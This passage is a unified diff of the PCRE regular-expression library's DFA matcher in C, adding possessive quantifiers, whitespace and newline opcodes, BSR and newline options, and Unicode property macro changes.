+        {
+        int ncount = 0;
+        switch (c)
+          {
+          case 0x000b:
+          case 0x000c:
+          case 0x0085:
+          case 0x2028:
+          case 0x2029:
+          if ((md->moptions & PCRE_BSR_ANYCRLF) != 0) break;
+          goto ANYNL02;
+
+          case 0x000d:
+          if (ptr + 1 < end_subject && ptr[1] == 0x0a) ncount = 1;
+          /* Fall through */
+
+          ANYNL02:
+          case 0x000a:
+          if (codevalue == OP_ANYNL_EXTRA + OP_TYPEPOSSTAR ||
+              codevalue == OP_ANYNL_EXTRA + OP_TYPEPOSQUERY)
+            {
+            active_count--;           /* Remove non-match possibility */
+            next_active_state--;
+            }
+          ADD_NEW_DATA(-(state_offset + count), 0, ncount);
+          break;
+
+          default:
+          break;
+          }
+        }
+      break;
+
+      /*-----------------------------------------------------------------*/
+      case OP_VSPACE_EXTRA + OP_TYPEQUERY:
+      case OP_VSPACE_EXTRA + OP_TYPEMINQUERY:
+      case OP_VSPACE_EXTRA + OP_TYPEPOSQUERY:
+      count = 2;
+      goto QS4;
+
+      case OP_VSPACE_EXTRA + OP_TYPESTAR:
+      case OP_VSPACE_EXTRA + OP_TYPEMINSTAR:
+      case OP_VSPACE_EXTRA + OP_TYPEPOSSTAR:
+      count = 0;
+
+      QS4:
+      ADD_ACTIVE(state_offset + 2, 0);
+      if (clen > 0)
+        {
+        BOOL OK;
+        switch (c)
+          {
+          case 0x000a:
+          case 0x000b:
+          case 0x000c:
+          case 0x000d:
+          case 0x0085:
+          case 0x2028:
+          case 0x2029:
+          OK = TRUE;
+          break;
+
+          default:
+          OK = FALSE;
+          break;
+          }
+        if (OK == (d == OP_VSPACE))
+          {
+          if (codevalue == OP_VSPACE_EXTRA + OP_TYPEPOSSTAR ||
+              codevalue == OP_VSPACE_EXTRA + OP_TYPEPOSQUERY)
+            {
+            active_count--;           /* Remove non-match possibility */
+            next_active_state--;
+            }
+          ADD_NEW_DATA(-(state_offset + count), 0, 0);
+          }
+        }
+      break;
+
+      /*-----------------------------------------------------------------*/
+      case OP_HSPACE_EXTRA + OP_TYPEQUERY:
+      case OP_HSPACE_EXTRA + OP_TYPEMINQUERY:
+      case OP_HSPACE_EXTRA + OP_TYPEPOSQUERY:
+      count = 2;
+      goto QS5;
+
+      case OP_HSPACE_EXTRA + OP_TYPESTAR:
+      case OP_HSPACE_EXTRA + OP_TYPEMINSTAR:
+      case OP_HSPACE_EXTRA + OP_TYPEPOSSTAR:
+      count = 0;
+
+      QS5:
+      ADD_ACTIVE(state_offset + 2, 0);
+      if (clen > 0)
+        {
+        BOOL OK;
+        switch (c)
+          {
+          case 0x09:      /* HT */
+          case 0x20:      /* SPACE */
+          case 0xa0:      /* NBSP */
+          case 0x1680:    /* OGHAM SPACE MARK */
+          case 0x180e:    /* MONGOLIAN VOWEL SEPARATOR */
+          case 0x2000:    /* EN QUAD */
+          case 0x2001:    /* EM QUAD */
+          case 0x2002:    /* EN SPACE */
+          case 0x2003:    /* EM SPACE */
+          case 0x2004:    /* THREE-PER-EM SPACE */
+          case 0x2005:    /* FOUR-PER-EM SPACE */
+          case 0x2006:    /* SIX-PER-EM SPACE */
+          case 0x2007:    /* FIGURE SPACE */
+          case 0x2008:    /* PUNCTUATION SPACE */
+          case 0x2009:    /* THIN SPACE */
+          case 0x200A:    /* HAIR SPACE */
+          case 0x202f:    /* NARROW NO-BREAK SPACE */
+          case 0x205f:    /* MEDIUM MATHEMATICAL SPACE */
+          case 0x3000:    /* IDEOGRAPHIC SPACE */
+          OK = TRUE;
+          break;
+
+          default:
+          OK = FALSE;
+          break;
+          }
+
+        if (OK == (d == OP_HSPACE))
+          {
+          if (codevalue == OP_HSPACE_EXTRA + OP_TYPEPOSSTAR ||
+              codevalue == OP_HSPACE_EXTRA + OP_TYPEPOSQUERY)
+            {
+            active_count--;           /* Remove non-match possibility */
+            next_active_state--;
+            }
+          ADD_NEW_DATA(-(state_offset + count), 0, 0);
+          }
+        }
+      break;
+
+      /*-----------------------------------------------------------------*/
+#ifdef SUPPORT_UCP
       case OP_PROP_EXTRA + OP_TYPEEXACT:
       case OP_PROP_EXTRA + OP_TYPEUPTO:
       case OP_PROP_EXTRA + OP_TYPEMINUPTO:
+      case OP_PROP_EXTRA + OP_TYPEPOSUPTO:
       if (codevalue != OP_PROP_EXTRA + OP_TYPEEXACT)
         { ADD_ACTIVE(state_offset + 6, 0); }
       count = current_state->count;  /* Number already matched */
       if (clen > 0)
         {
         BOOL OK;
-        int category = _pcre_ucp_findprop(c, &chartype, &script);
+        const ucd_record * prop = GET_UCD(c);
         switch(code[4])
           {
           case PT_ANY:
@@ -1069,19 +1468,19 @@
           break;
 
           case PT_LAMP:
-          OK = chartype == ucp_Lu || chartype == ucp_Ll || chartype == ucp_Lt;
+          OK = prop->chartype == ucp_Lu || prop->chartype == ucp_Ll || prop->chartype == ucp_Lt;
           break;
 
           case PT_GC:
-          OK = category == code[5];
+          OK = _pcre_ucp_gentype[prop->chartype] == code[5];
           break;
 
           case PT_PC:
-          OK = chartype == code[5];
+          OK = prop->chartype == code[5];
           break;
 
           case PT_SC:
-          OK = script == code[5];
+          OK = prop->script == code[5];
           break;
 
           /* Should never occur, but keep compilers from grumbling. */
@@ -1093,6 +1492,11 @@
 
         if (OK == (d == OP_PROP))
           {
+          if (codevalue == OP_PROP_EXTRA + OP_TYPEPOSUPTO)
+            {
+            active_count--;           /* Remove non-match possibility */
+            next_active_state--;
+            }
           if (++count >= GET2(code, 1))
             { ADD_NEW(state_offset + 6, 0); }
           else
@@ -1105,19 +1509,25 @@
       case OP_EXTUNI_EXTRA + OP_TYPEEXACT:
       case OP_EXTUNI_EXTRA + OP_TYPEUPTO:
       case OP_EXTUNI_EXTRA + OP_TYPEMINUPTO:
+      case OP_EXTUNI_EXTRA + OP_TYPEPOSUPTO:
       if (codevalue != OP_EXTUNI_EXTRA + OP_TYPEEXACT)
         { ADD_ACTIVE(state_offset + 4, 0); }
       count = current_state->count;  /* Number already matched */
-      if (clen > 0 && _pcre_ucp_findprop(c, &chartype, &script) != ucp_M)
+      if (clen > 0 && UCD_CATEGORY(c) != ucp_M)
         {
         const uschar *nptr = ptr + clen;
         int ncount = 0;
+        if (codevalue == OP_EXTUNI_EXTRA + OP_TYPEPOSUPTO)
+          {
+          active_count--;           /* Remove non-match possibility */
+          next_active_state--;
+          }
         while (nptr < end_subject)
           {
           int nd;
           int ndlen = 1;
           GETCHARLEN(nd, nptr, ndlen);
-          if (_pcre_ucp_findprop(nd, &chartype, &script) != ucp_M) break;
+          if (UCD_CATEGORY(nd) != ucp_M) break;
           ncount++;
           nptr += ndlen;
           }
@@ -1127,7 +1537,149 @@
           { ADD_NEW_DATA(-state_offset, count, ncount); }
         }
       break;
+#endif
 
+      /*-----------------------------------------------------------------*/
+      case OP_ANYNL_EXTRA + OP_TYPEEXACT:
+      case OP_ANYNL_EXTRA + OP_TYPEUPTO:
+      case OP_ANYNL_EXTRA + OP_TYPEMINUPTO:
+      case OP_ANYNL_EXTRA + OP_TYPEPOSUPTO:
+      if (codevalue != OP_ANYNL_EXTRA + OP_TYPEEXACT)
+        { ADD_ACTIVE(state_offset + 4, 0); }
+      count = current_state->count;  /* Number already matched */
+      if (clen > 0)
+        {
+        int ncount = 0;
+        switch (c)
+          {
+          case 0x000b:
+          case 0x000c:
+          case 0x0085:
+          case 0x2028:
+          case 0x2029:
+          if ((md->moptions & PCRE_BSR_ANYCRLF) != 0) break;
+          goto ANYNL03;
+
+          case 0x000d:
+          if (ptr + 1 < end_subject && ptr[1] == 0x0a) ncount = 1;
+          /* Fall through */
+
+          ANYNL03:
+          case 0x000a:
+          if (codevalue == OP_ANYNL_EXTRA + OP_TYPEPOSUPTO)
+            {
+            active_count--;           /* Remove non-match possibility */
+            next_active_state--;
+            }
+          if (++count >= GET2(code, 1))
+            { ADD_NEW_DATA(-(state_offset + 4), 0, ncount); }
+          else
+            { ADD_NEW_DATA(-state_offset, count, ncount); }
+          break;
+
+          default:
+          break;
+          }
+        }
+      break;
+
+      /*-----------------------------------------------------------------*/
+      case OP_VSPACE_EXTRA + OP_TYPEEXACT:
+      case OP_VSPACE_EXTRA + OP_TYPEUPTO:
+      case OP_VSPACE_EXTRA + OP_TYPEMINUPTO:
+      case OP_VSPACE_EXTRA + OP_TYPEPOSUPTO:
+      if (codevalue != OP_VSPACE_EXTRA + OP_TYPEEXACT)
+        { ADD_ACTIVE(state_offset + 4, 0); }
+      count = current_state->count;  /* Number already matched */
+      if (clen > 0)
+        {
+        BOOL OK;
+        switch (c)
+          {
+          case 0x000a:
+          case 0x000b:
+          case 0x000c:
+          case 0x000d:
+          case 0x0085:
+          case 0x2028:
+          case 0x2029:
+          OK = TRUE;
+          break;
+
+          default:
+          OK = FALSE;
+          }
+
+        if (OK == (d == OP_VSPACE))
+          {
+          if (codevalue == OP_VSPACE_EXTRA + OP_TYPEPOSUPTO)
+            {
+            active_count--;           /* Remove non-match possibility */
+            next_active_state--;
+            }
+          if (++count >= GET2(code, 1))
+            { ADD_NEW_DATA(-(state_offset + 4), 0, 0); }
+          else
+            { ADD_NEW_DATA(-state_offset, count, 0); }
+          }
+        }
+      break;
+
+      /*-----------------------------------------------------------------*/
+      case OP_HSPACE_EXTRA + OP_TYPEEXACT:
+      case OP_HSPACE_EXTRA + OP_TYPEUPTO:
+      case OP_HSPACE_EXTRA + OP_TYPEMINUPTO:
+      case OP_HSPACE_EXTRA + OP_TYPEPOSUPTO:
+      if (codevalue != OP_HSPACE_EXTRA + OP_TYPEEXACT)
+        { ADD_ACTIVE(state_offset + 4, 0); }
+      count = current_state->count;  /* Number already matched */
+      if (clen > 0)
+        {
+        BOOL OK;
+        switch (c)
+          {
+          case 0x09:      /* HT */
+          case 0x20:      /* SPACE */
+          case 0xa0:      /* NBSP */
+          case 0x1680:    /* OGHAM SPACE MARK */
+          case 0x180e:    /* MONGOLIAN VOWEL SEPARATOR */
+          case 0x2000:    /* EN QUAD */
+          case 0x2001:    /* EM QUAD */
+          case 0x2002:    /* EN SPACE */
+          case 0x2003:    /* EM SPACE */
+          case 0x2004:    /* THREE-PER-EM SPACE */
+          case 0x2005:    /* FOUR-PER-EM SPACE */
+          case 0x2006:    /* SIX-PER-EM SPACE */
+          case 0x2007:    /* FIGURE SPACE */
+          case 0x2008:    /* PUNCTUATION SPACE */
+          case 0x2009:    /* THIN SPACE */
+          case 0x200A:    /* HAIR SPACE */
+          case 0x202f:    /* NARROW NO-BREAK SPACE */
+          case 0x205f:    /* MEDIUM MATHEMATICAL SPACE */
+          case 0x3000:    /* IDEOGRAPHIC SPACE */
+          OK = TRUE;
+          break;
+
+          default:
+          OK = FALSE;
+          break;
+          }
+
+        if (OK == (d == OP_HSPACE))
+          {
+          if (codevalue == OP_HSPACE_EXTRA + OP_TYPEPOSUPTO)
+            {
+            active_count--;           /* Remove non-match possibility */
+            next_active_state--;
+            }
+          if (++count >= GET2(code, 1))
+            { ADD_NEW_DATA(-(state_offset + 4), 0, 0); }
+          else
+            { ADD_NEW_DATA(-state_offset, count, 0); }
+          }
+        }
+      break;
+
 /* ========================================================================== */
       /* These opcodes are followed by a character that is usually compared
       to the current subject character; it is loaded into d. We still get
@@ -1148,16 +1700,16 @@
         {
         if (c == d) { ADD_NEW(state_offset + dlen + 1, 0); } else
           {
-          int othercase;
+          unsigned int othercase;
           if (c < 128) othercase = fcc[c]; else
 
           /* If we have Unicode property support, we can use it to test the
           other case of the character. */
 
 #ifdef SUPPORT_UCP
-          othercase = _pcre_ucp_othercase(c);
+          othercase = UCD_OTHERCASE(c);
 #else
-          othercase = -1;
+          othercase = NOTACHAR;
 #endif
 
           if (d == othercase) { ADD_NEW(state_offset + dlen + 1, 0); }
@@ -1180,7 +1732,7 @@
       to wait for them to pass before continuing. */
 
       case OP_EXTUNI:
-      if (clen > 0 && _pcre_ucp_findprop(c, &chartype, &script) != ucp_M)
+      if (clen > 0 && UCD_CATEGORY(c) != ucp_M)
         {
         const uschar *nptr = ptr + clen;
         int ncount = 0;
@@ -1188,7 +1740,7 @@
           {
           int nclen = 1;
           GETCHARLEN(c, nptr, nclen);
-          if (_pcre_ucp_findprop(c, &chartype, &script) != ucp_M) break;
+          if (UCD_CATEGORY(c) != ucp_M) break;
           ncount++;
           nptr += nclen;
           }
@@ -1198,6 +1750,134 @@
 #endif
 
       /*-----------------------------------------------------------------*/
+      /* This is a tricky like EXTUNI because it too can match more than one
+      character (when CR is followed by LF). In this case, set up a negative
+      state to wait for one character to pass before continuing. */
+
+      case OP_ANYNL:
+      if (clen > 0) switch(c)
+        {
+        case 0x000b:
+        case 0x000c:
+        case 0x0085:
+        case 0x2028:
+        case 0x2029:
+        if ((md->moptions & PCRE_BSR_ANYCRLF) != 0) break;
+
+        case 0x000a:
+        ADD_NEW(state_offset + 1, 0);
+        break;
+
+        case 0x000d:
+        if (ptr + 1 < end_subject && ptr[1] == 0x0a)
+          {
+          ADD_NEW_DATA(-(state_offset + 1), 0, 1);
+          }
+        else
+          {
+          ADD_NEW(state_offset + 1, 0);
+          }
+        break;
+        }
+      break;
+
+      /*-----------------------------------------------------------------*/
+      case OP_NOT_VSPACE:
+      if (clen > 0) switch(c)
+        {
+        case 0x000a:
+        case 0x000b:
+        case 0x000c:
+        case 0x000d:
+        case 0x0085:
+        case 0x2028:
+        case 0x2029:
+        break;
+
+        default:
+        ADD_NEW(state_offset + 1, 0);
+        break;
+        }
+      break;
+
+      /*-----------------------------------------------------------------*/
+      case OP_VSPACE:
+      if (clen > 0) switch(c)
+        {
+        case 0x000a:
+        case 0x000b:
+        case 0x000c:
+        case 0x000d:
+        case 0x0085:
+        case 0x2028:
+        case 0x2029:
+        ADD_NEW(state_offset + 1, 0);
+        break;
+
+        default: break;
+        }
+      break;
+
+      /*-----------------------------------------------------------------*/
+      case OP_NOT_HSPACE:
+      if (clen > 0) switch(c)
+        {
+        case 0x09:      /* HT */
+        case 0x20:      /* SPACE */
+        case 0xa0:      /* NBSP */
+        case 0x1680:    /* OGHAM SPACE MARK */
+        case 0x180e:    /* MONGOLIAN VOWEL SEPARATOR */
+        case 0x2000:    /* EN QUAD */
+        case 0x2001:    /* EM QUAD */
+        case 0x2002:    /* EN SPACE */
+        case 0x2003:    /* EM SPACE */
+        case 0x2004:    /* THREE-PER-EM SPACE */
+        case 0x2005:    /* FOUR-PER-EM SPACE */
+        case 0x2006:    /* SIX-PER-EM SPACE */
+        case 0x2007:    /* FIGURE SPACE */
+        case 0x2008:    /* PUNCTUATION SPACE */
+        case 0x2009:    /* THIN SPACE */
+        case 0x200A:    /* HAIR SPACE */
+        case 0x202f:    /* NARROW NO-BREAK SPACE */
+        case 0x205f:    /* MEDIUM MATHEMATICAL SPACE */
+        case 0x3000:    /* IDEOGRAPHIC SPACE */
+        break;
+
+        default:
+        ADD_NEW(state_offset + 1, 0);
+        break;
+        }
+      break;
+
+      /*-----------------------------------------------------------------*/
+      case OP_HSPACE:
+      if (clen > 0) switch(c)
+        {
+        case 0x09:      /* HT */
+        case 0x20:      /* SPACE */
+        case 0xa0:      /* NBSP */
+        case 0x1680:    /* OGHAM SPACE MARK */
+        case 0x180e:    /* MONGOLIAN VOWEL SEPARATOR */
+        case 0x2000:    /* EN QUAD */
+        case 0x2001:    /* EM QUAD */
+        case 0x2002:    /* EN SPACE */
+        case 0x2003:    /* EM SPACE */
+        case 0x2004:    /* THREE-PER-EM SPACE */
+        case 0x2005:    /* FOUR-PER-EM SPACE */
+        case 0x2006:    /* SIX-PER-EM SPACE */
+        case 0x2007:    /* FIGURE SPACE */
+        case 0x2008:    /* PUNCTUATION SPACE */
+        case 0x2009:    /* THIN SPACE */
+        case 0x200A:    /* HAIR SPACE */
+        case 0x202f:    /* NARROW NO-BREAK SPACE */
+        case 0x205f:    /* MEDIUM MATHEMATICAL SPACE */
+        case 0x3000:    /* IDEOGRAPHIC SPACE */
+        ADD_NEW(state_offset + 1, 0);
+        break;
+        }
+      break;
+
+      /*-----------------------------------------------------------------*/
       /* Match a negated single character. This is only used for one-byte
       characters, that is, we know that d < 256. The character we are
       checking (c) can be multibyte. */
@@ -1205,7 +1885,7 @@
       case OP_NOT:
       if (clen > 0)
         {
-        int otherd = ((ims & PCRE_CASELESS) != 0)? fcc[d] : d;
+        unsigned int otherd = ((ims & PCRE_CASELESS) != 0)? fcc[d] : d;
         if (c != d && c != otherd) { ADD_NEW(state_offset + dlen + 1, 0); }
         }
       break;
@@ -1213,20 +1893,22 @@
       /*-----------------------------------------------------------------*/
       case OP_PLUS:
       case OP_MINPLUS:
+      case OP_POSPLUS:
       case OP_NOTPLUS:
       case OP_NOTMINPLUS:
+      case OP_NOTPOSPLUS:
       count = current_state->count;  /* Already matched */
       if (count > 0) { ADD_ACTIVE(state_offset + dlen + 1, 0); }
       if (clen > 0)
         {
-        int otherd = -1;
+        unsigned int otherd = NOTACHAR;
         if ((ims & PCRE_CASELESS) != 0)
           {
 #ifdef SUPPORT_UTF8
           if (utf8 && d >= 128)
             {
 #ifdef SUPPORT_UCP
-            otherd = _pcre_ucp_othercase(d);
+            otherd = UCD_OTHERCASE(d);
 #endif  /* SUPPORT_UCP */
             }
           else
@@ -1234,26 +1916,37 @@
           otherd = fcc[d];
           }
         if ((c == d || c == otherd) == (codevalue < OP_NOTSTAR))
-          { count++; ADD_NEW(state_offset, count); }
+          {
+          if (count > 0 &&
+              (codevalue == OP_POSPLUS || codevalue == OP_NOTPOSPLUS))
+            {
+            active_count--;             /* Remove non-match possibility */
+            next_active_state--;
+            }
+          count++;
+          ADD_NEW(state_offset, count);
+          }
         }
       break;
 
       /*-----------------------------------------------------------------*/
       case OP_QUERY:
       case OP_MINQUERY:
+      case OP_POSQUERY:
       case OP_NOTQUERY:
       case OP_NOTMINQUERY:
+      case OP_NOTPOSQUERY:
       ADD_ACTIVE(state_offset + dlen + 1, 0);
       if (clen > 0)
         {
-        int otherd = -1;
+        unsigned int otherd = NOTACHAR;
         if ((ims & PCRE_CASELESS) != 0)
           {
 #ifdef SUPPORT_UTF8
           if (utf8 && d >= 128)
             {
 #ifdef SUPPORT_UCP
-            otherd = _pcre_ucp_othercase(d);
+            otherd = UCD_OTHERCASE(d);
 #endif  /* SUPPORT_UCP */
             }
           else
@@ -1261,26 +1954,35 @@
           otherd = fcc[d];
           }
         if ((c == d || c == otherd) == (codevalue < OP_NOTSTAR))
-          { ADD_NEW(state_offset + dlen + 1, 0); }
+          {
+          if (codevalue == OP_POSQUERY || codevalue == OP_NOTPOSQUERY)
+            {
+            active_count--;            /* Remove non-match possibility */
+            next_active_state--;
+            }
+          ADD_NEW(state_offset + dlen + 1, 0);
+          }
         }
       break;
 
       /*-----------------------------------------------------------------*/
       case OP_STAR:
       case OP_MINSTAR:
+      case OP_POSSTAR:
       case OP_NOTSTAR:
       case OP_NOTMINSTAR:
+      case OP_NOTPOSSTAR:
       ADD_ACTIVE(state_offset + dlen + 1, 0);
       if (clen > 0)
         {
-        int otherd = -1;
+        unsigned int otherd = NOTACHAR;
         if ((ims & PCRE_CASELESS) != 0)
           {
 #ifdef SUPPORT_UTF8
           if (utf8 && d >= 128)
             {
 #ifdef SUPPORT_UCP
-            otherd = _pcre_ucp_othercase(d);
+            otherd = UCD_OTHERCASE(d);
 #endif  /* SUPPORT_UCP */
             }
           else
@@ -1288,30 +1990,66 @@
           otherd = fcc[d];
           }
         if ((c == d || c == otherd) == (codevalue < OP_NOTSTAR))
-          { ADD_NEW(state_offset, 0); }
+          {
+          if (codevalue == OP_POSSTAR || codevalue == OP_NOTPOSSTAR)
+            {
+            active_count--;            /* Remove non-match possibility */
+            next_active_state--;
+            }
+          ADD_NEW(state_offset, 0);
+          }
         }
       break;
 
       /*-----------------------------------------------------------------*/
       case OP_EXACT:
+      case OP_NOTEXACT:
+      count = current_state->count;  /* Number already matched */
+      if (clen > 0)
+        {
+        unsigned int otherd = NOTACHAR;
+        if ((ims & PCRE_CASELESS) != 0)
+          {
+#ifdef SUPPORT_UTF8
+          if (utf8 && d >= 128)
+            {
+#ifdef SUPPORT_UCP
+            otherd = UCD_OTHERCASE(d);
+#endif  /* SUPPORT_UCP */
+            }
+          else
+#endif  /* SUPPORT_UTF8 */
+          otherd = fcc[d];
+          }
+        if ((c == d || c == otherd) == (codevalue < OP_NOTSTAR))
+          {
+          if (++count >= GET2(code, 1))
+            { ADD_NEW(state_offset + dlen + 3, 0); }
+          else
+            { ADD_NEW(state_offset, count); }
+          }
+        }
+      break;
+
+      /*-----------------------------------------------------------------*/
       case OP_UPTO:
       case OP_MINUPTO:
-      case OP_NOTEXACT:
+      case OP_POSUPTO:
       case OP_NOTUPTO:
       case OP_NOTMINUPTO:
-      if (codevalue != OP_EXACT && codevalue != OP_NOTEXACT)
-        { ADD_ACTIVE(state_offset + dlen + 3, 0); }
+      case OP_NOTPOSUPTO:
+      ADD_ACTIVE(state_offset + dlen + 3, 0);
       count = current_state->count;  /* Number already matched */
       if (clen > 0)
         {
-        int otherd = -1;
+        unsigned int otherd = NOTACHAR;
         if ((ims & PCRE_CASELESS) != 0)
           {
 #ifdef SUPPORT_UTF8
           if (utf8 && d >= 128)
             {
 #ifdef SUPPORT_UCP
-            otherd = _pcre_ucp_othercase(d);
+            otherd = UCD_OTHERCASE(d);
 #endif  /* SUPPORT_UCP */
             }
           else
@@ -1320,6 +2058,11 @@
           }
         if ((c == d || c == otherd) == (codevalue < OP_NOTSTAR))
           {
+          if (codevalue == OP_POSUPTO || codevalue == OP_NOTPOSUPTO)
+            {
+            active_count--;             /* Remove non-match possibility */
+            next_active_state--;
+            }
           if (++count >= GET2(code, 1))
             { ADD_NEW(state_offset + dlen + 3, 0); }
           else
@@ -1414,8 +2157,13 @@
 
 /* ========================================================================== */
       /* These are the opcodes for fancy brackets of various kinds. We have
-      to use recursion in order to handle them. */
+      to use recursion in order to handle them. The "always failing" assersion
+      (?!) is optimised when compiling to OP_FAIL, so we have to support that,
+      though the other "backtracking verbs" are not supported. */
 
+      case OP_FAIL:
+      break;
+
       case OP_ASSERT:
       case OP_ASSERT_NOT:
       case OP_ASSERTBACK:
@@ -1448,20 +2196,63 @@
 
       /*-----------------------------------------------------------------*/
       case OP_COND:
+      case OP_SCOND:
         {
         int local_offsets[1000];
         int local_workspace[1000];
-        int condcode = code[LINK_SIZE+1];
+        int codelink = GET(code, 1);
+        int condcode;
 
-        /* The only supported version of OP_CREF is for the value 0xffff, which
-        means "test if in a recursion". */
+        /* Because of the way auto-callout works during compile, a callout item
+        is inserted between OP_COND and an assertion condition. This does not
+        happen for the other conditions. */
 
-        if (condcode == OP_CREF)
+        if (code[LINK_SIZE+1] == OP_CALLOUT)
           {
+          rrc = 0;
+          if (pcre_callout != NULL)
+            {
+            pcre_callout_block cb;
+            cb.version          = 1;   /* Version 1 of the callout block */
+            cb.callout_number   = code[LINK_SIZE+2];
+            cb.offset_vector    = offsets;
+            cb.subject          = (PCRE_SPTR)start_subject;
+            cb.subject_length   = end_subject - start_subject;
+            cb.start_match      = current_subject - start_subject;
+            cb.current_position = ptr - start_subject;
+            cb.pattern_position = GET(code, LINK_SIZE + 3);
+            cb.next_item_length = GET(code, 3 + 2*LINK_SIZE);
+            cb.capture_top      = 1;
+            cb.capture_last     = -1;
+            cb.callout_data     = md->callout_data;
+            if ((rrc = (*pcre_callout)(&cb)) < 0) return rrc;   /* Abandon */
+            }
+          if (rrc > 0) break;                      /* Fail this thread */
+          code += _pcre_OP_lengths[OP_CALLOUT];    /* Skip callout data */
+          }
+
+        condcode = code[LINK_SIZE+1];
+
+        /* Back reference conditions are not supported */
+
+        if (condcode == OP_CREF) return PCRE_ERROR_DFA_UCOND;
+
+        /* The DEFINE condition is always false */
+
+        if (condcode == OP_DEF)
+          { ADD_ACTIVE(state_offset + codelink + LINK_SIZE + 1, 0); }
+
+        /* The only supported version of OP_RREF is for the value RREF_ANY,
+        which means "test if in any recursion". We can't test for specifically
+        recursed groups. */
+
+        else if (condcode == OP_RREF)
+          {
           int value = GET2(code, LINK_SIZE+2);
-          if (value != 0xffff) return PCRE_ERROR_DFA_UCOND;
-          if (recursing > 0) { ADD_ACTIVE(state_offset + LINK_SIZE + 4, 0); }
-            else { ADD_ACTIVE(state_offset + GET(code, 1) + LINK_SIZE + 1, 0); }
+          if (value != RREF_ANY) return PCRE_ERROR_DFA_UCOND;
+          if (recursing > 0)
+            { ADD_ACTIVE(state_offset + LINK_SIZE + 4, 0); }
+          else { ADD_ACTIVE(state_offset + codelink + LINK_SIZE + 1, 0); }
           }
 
         /* Otherwise, the condition is an assertion */
@@ -1491,7 +2282,7 @@
                 (condcode == OP_ASSERT || condcode == OP_ASSERTBACK))
             { ADD_ACTIVE(endasscode + LINK_SIZE + 1 - start_code, 0); }
           else
-            { ADD_ACTIVE(state_offset + GET(code, 1) + LINK_SIZE + 1, 0); }
+            { ADD_ACTIVE(state_offset + codelink + LINK_SIZE + 1, 0); }
           }
         }
       break;
@@ -1643,9 +2434,9 @@
       /* Handle callouts */
 
       case OP_CALLOUT:
+      rrc = 0;
       if (pcre_callout != NULL)
         {
-        int rrc;
         pcre_callout_block cb;
         cb.version          = 1;   /* Version 1 of the callout block */
         cb.callout_number   = code[1];
@@ -1660,8 +2451,9 @@
         cb.capture_last     = -1;
         cb.callout_data     = md->callout_data;
         if ((rrc = (*pcre_callout)(&cb)) < 0) return rrc;   /* Abandon */
-        if (rrc == 0) { ADD_ACTIVE(state_offset + 2 + 2*LINK_SIZE, 0); }
         }
+      if (rrc == 0)
+        { ADD_ACTIVE(state_offset + _pcre_OP_lengths[OP_CALLOUT], 0); }
       break;
 
 
@@ -1728,7 +2520,7 @@
 
 Arguments:
   argument_re     points to the compiled expression
-  extra_data      points to extra data or is NULL (not currently used)
+  extra_data      points to extra data or is NULL
   subject         points to the subject string
   length          length of subject string (may contain binary zeros)
   start_offset    where to start in the subject string
@@ -1744,7 +2536,7 @@
                  < -1 => some kind of unexpected problem
 */
 
-PCRE_DATA_SCOPE int
+PCRE_EXP_DEFN int PCRE_CALL_CONVENTION
 pcre_dfa_exec(const pcre *argument_re, const pcre_extra *extra_data,
   const char *subject, int length, int start_offset, int options, int *offsets,
   int offsetcount, int *workspace, int wscount)
@@ -1834,29 +2626,56 @@
 md->moptions = options;
 md->poptions = re->options;
 
-/* Handle different types of newline. The two bits give four cases. If nothing
-is set at run time, whatever was used at compile time applies. */
+/* If the BSR option is not set at match time, copy what was set
+at compile time. */
 
-switch ((((options & PCRE_NEWLINE_CRLF) == 0)? re->options : options) &
-         PCRE_NEWLINE_CRLF)
+if ((md->moptions & (PCRE_BSR_ANYCRLF|PCRE_BSR_UNICODE)) == 0)
   {
-  default:              newline = NEWLINE; break;   /* Compile-time default */
-  case PCRE_NEWLINE_CR: newline = '\r'; break;
-  case PCRE_NEWLINE_LF: newline = '\n'; break;
+  if ((re->options & (PCRE_BSR_ANYCRLF|PCRE_BSR_UNICODE)) != 0)
+    md->moptions |= re->options & (PCRE_BSR_ANYCRLF|PCRE_BSR_UNICODE);
+#ifdef BSR_ANYCRLF
+  else md->moptions |= PCRE_BSR_ANYCRLF;
+#endif
+  }
+
+/* Handle different types of newline. The three bits give eight cases. If
+nothing is set at run time, whatever was used at compile time applies. */
+
+switch ((((options & PCRE_NEWLINE_BITS) == 0)? re->options : (pcre_uint32)options) &
+         PCRE_NEWLINE_BITS)
+  {
+  case 0: newline = NEWLINE; break;   /* Compile-time default */
+  case PCRE_NEWLINE_CR: newline = CHAR_CR; break;
+  case PCRE_NEWLINE_LF: newline = CHAR_NL; break;
   case PCRE_NEWLINE_CR+
-       PCRE_NEWLINE_LF: newline = ('\r' << 8) | '\n'; break;
+       PCRE_NEWLINE_LF: newline = (CHAR_CR << 8) | CHAR_NL; break;
+  case PCRE_NEWLINE_ANY: newline = -1; break;
+  case PCRE_NEWLINE_ANYCRLF: newline = -2; break;
+  default: return PCRE_ERROR_BADNEWLINE;
   }
 
-if (newline > 255)
+if (newline == -2)
   {
-  md->nllen = 2;
-  md->nl[0] = (newline >> 8) & 255;
-  md->nl[1] = newline & 255;
+  md->nltype = NLTYPE_ANYCRLF;
   }
+else if (newline < 0)
+  {
+  md->nltype = NLTYPE_ANY;
+  }
 else
   {
-  md->nllen = 1;
-  md->nl[0] = newline;
+  md->nltype = NLTYPE_FIXED;
+  if (newline > 255)
+    {
+    md->nllen = 2;
+    md->nl[0] = (newline >> 8) & 255;
+    md->nl[1] = newline & 255;
+    }
+  else
+    {
+    md->nllen = 1;
+    md->nl[0] = newline;
+    }
   }
 
 /* Check a UTF-8 string if required. Unfortunately there's no way of passing
@@ -1889,7 +2708,7 @@
 used in a loop when finding where to start. */
 
 lcc = md->tables + lcc_offset;
-startline = (re->options & PCRE_STARTLINE) != 0;
+startline = (re->flags & PCRE_STARTLINE) != 0;
 firstline = (re->options & PCRE_FIRSTLINE) != 0;
 
 /* Set up the first character to match, if available. The first_byte value is
@@ -1900,7 +2719,7 @@
 
 if (!anchored)
   {
-  if ((re->options & PCRE_FIRSTSET) != 0)
+  if ((re->flags & PCRE_FIRSTSET) != 0)
     {
     first_byte = re->first_byte & 255;
     if ((first_byte_caseless = ((re->first_byte & REQ_CASELESS) != 0)) == TRUE)
@@ -1917,7 +2736,7 @@
 /* For anchored or unanchored matches, there may be a "last known required
 character" set. */
 
-if ((re->options & PCRE_REQCHSET) != 0)
+if ((re->flags & PCRE_REQCHSET) != 0)
   {
   req_byte = re->req_byte & 255;
   req_byte_caseless = (re->req_byte & REQ_CASELESS) != 0;
@@ -1925,9 +2744,8 @@
   }
 
 /* Call the main matching function, looping for a non-anchored regex after a
-failed match. Unless restarting, optimize by moving to the first match
